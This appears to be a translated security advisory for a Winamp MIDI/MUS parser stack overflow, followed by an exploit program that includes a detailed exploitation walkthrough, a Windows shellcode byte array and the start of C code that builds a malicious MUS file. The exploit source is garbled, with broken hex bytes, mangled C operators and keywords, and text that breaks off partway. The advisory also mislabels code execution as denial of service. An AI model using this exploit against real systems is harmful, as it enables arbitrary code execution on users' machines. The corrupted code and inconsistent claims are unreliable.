Affected Versions:
Nullsoft Winamp 5.01-5.5.8
Vulnerability description:
Winamp is a popular media player that supports multiple file formats.
Winamp has a vulnerability in implementation. Attackers can exploit this vulnerability to execute arbitrary code in affected applications with user permissions, resulting in DOS.
This vulnerability is caused by the failure to perform sufficient boundary checks on user data. Stack allocation of Winamp is predictable. Attackers can choose to write data to the saved basic pointer value,
Therefore, after the basic pointer is restored, the stack message that calls the function will be moved to the return address controlled by the attacker.
<* Reference
Peter Wilhelmsen
Kryptos Logic
*>
Test method:
/*
* Winamp 5.6 Arbitrary Code Execution in MIDI Parser
* Copyright (C) 2010 Kryptos Logic
*
* Bug discovered by Peter Wilhelmsen.
* Exploit written by Morten Shearman Kirkegaard.
*/
/*
* When Winamp plays MUS files and other MIDI variants, it begins
* Converting them to a canonical format.
*
* IN_MIDI.DLL 0x076ED6D3
* Timestamps in MUS and MIDI are 32 bit values encoded as a series
* Bytes, with 7 bits in each byte. The most significant bit indicates
* Whether or not this is the last byte. Winamp can decode any value
* Without problems, but when it tries to re-encode them for the MIDI
* Data, it uses the naive approach of shifting multiples of 7 bits. On
* X86 a shift of more than 31 bits does NOT result in a cleared
* Register, so after shifting 0, 7, 14, 21, and 28 bits, it will shift
* 35 bits, resulting in a shift of only 3 bits. If the most significant
* Bit is set, Winamp will keep shifting forever. However, if it is
* Cleared, and one or more of the following three bits are set, it will
* Shift 0, 7, 14, 21, 28, 3, 10, 17, 24, and 31 bits. The last shift
* Will result in a fully cleared register, so only 9 output bytes are
* Generated. The allocated stack buffer is 8 bytes, so the least
* Significant byte will overflow into the saved EBP.
*
* IN_MIDI.DLL 0x076EE07F
* The saved EBP is restored into the register before returning to
* Main coversion function. If a value of 0x60 is written to the least
* Significant byte of EBP, the function will run to the end
* Errors, but will use the sum of all timestamps encountered as its
* Return address. We choose a number of timestamps which add up to
* Desired return address, and make sure that only the last timestamp
* Will cause an overflow. When the function returns, a pointer to
* Input buffer is located at ESP + 0x14. We return to an instruction
* Sequence of add esp, 0x14; RET; so the execution will continue at
* MUS header.
*
* By choosing 0xC0 as the least significant byte of the scoreLen field,
* The header becomes executable without touching memory. We choose
* Most significant byte of scoreLen and the least significant byte
* ScoreStart to make up a JMP instruction, skipping the rest of
* Header and continuing execution in the instrument list, where
* Desired shellcode is placed. More shellcode can be placed after
* Note events in the score data, if needed.
*/
# Include <inttypes. h>
# Include <stddef. h>
# Include <stdio. h>
# Include <stdlib. h>
# Include <unistd. h>
# Include <string. h>
# Include <fcntl. h>
Unsigned char shellcode [] = {
/* Http://www.shell-storm.org/shellcode/files/shellcode-662.php */
0xFC, 0x31, 0xD2, 0xB2, 0x30,0x64, 0xFF, 0x32,
0x5A, 0x8B, 0x52, 0x0C, 0x8B, 0x52,0x14, 0x8B,
0x31, 0xC9, 0xB1, 0x31, 0xFF,
0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C,
0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF0,
0x81, 0xFF, 0x5B, 0xBC, 0x4A, 0x6A, 0x8B, 0x5A,
0x10, 0x8B, 0x12, 0x75, 0xDA, 0x8B, 0x53, 0x3C,
0x01, 0xDA, 0xFF, 0x72,0x34, 0x8B, 0x52,0x78,
0x01, 0xDA, 0x8B, 0x20, 0x01, 0xDE, 0x31,
0xC9, 0x41, 0xAD, 0x01, 0xD8, 0x81,0x38,0x47,
0x65,0x50, 0x75, 0xF4, 0 x, 0x04,
0x72, 0x6F, 0x63,0x41,0x75, 0xEB, 0x81,0x78,
0 x, 0x64, 0x64, 0 x, 0x75, 0xE2, 0x49,
0x8B, 0x24, 0x01, 0xDE, 0x66, 0x8B, 0x0C,
0x4E, 0x8B, 0x72, 0x1C, 0x01, 0xDE, 0x8B, 0x14,
0x8E, 0x01, 0xDA, 0x52,0x68,0x78,0x65,0x63,
0x01, 0xFE, 0x4C, 0x24, 0x03,0x68, 0x57,0x69,
0x6E, 0x45, 0x54,0x53, 0xFF, 0xD2, 0x6A, 0x00,
0x68, 0 x, 0x61, 0x6C, 0x63, 0x6A, 0 x, 0x31,
0xC9, 0x8D, 0x4C, 0x24, 0x04,0x51, 0xFF, 0xD0,
0 x, 0 x, 0 x, 0x89, 0xFB, 0xFE,
0x4C, 0x24, 0x03,0x68, 0x50, 0x72, 0x6F, 0x63,
0x68, 0x45, 0 x, 0 x, 0 x, 0x54, 0xFF, 0x74,
0x24, 0x24, 0xFF, 0x54,0x24, 0x24, 0x57, 0xFF,
0xD0
};
Void append_time (unsigned char ** p, uint32_t)
{
Int bytes;
If (t> 28 )){
Bytes = 5;
} Else if (t> 21 )){
Bytes = 4;
} Else if (t> 14 )){
Bytes = 3;
} Else if (t> 7 )){
Bytes = 2;
} Else {
Bytes = 1;
}
Switch (bytes ){
Case 5: * (* p) ++) = 0x80 | (t> 28) & 0x7F );
Case 4: * (* p) ++) = 0x80 | (t> 21) & 0x7F );
Case 3: * (* p) ++) = 0x80 | (t> 14) & 0x7F );
Case 2: * (* p) ++) = 0x80 | (t> 7) & 0x7F );
Case 1: * (* p) ++) = 0x00 | (t & 0x7F );
}
}
Void append_note_event (unsigned char ** p, uint32_t t)
{
* (* P) ++) = (1 <7/* last = true */)
| (1 <4/* type = play note */)
| (0 <0/* chan = 0 */);
* (* P) ++) = (0 <7/* vol = false */)
| (0 <0/* note */);
Append_time (p, t );
}
Int main (void)
{
Struct {
Char magic [4];
Uint16_t scoreLen;
Uint16_t scoreStart;
& Nb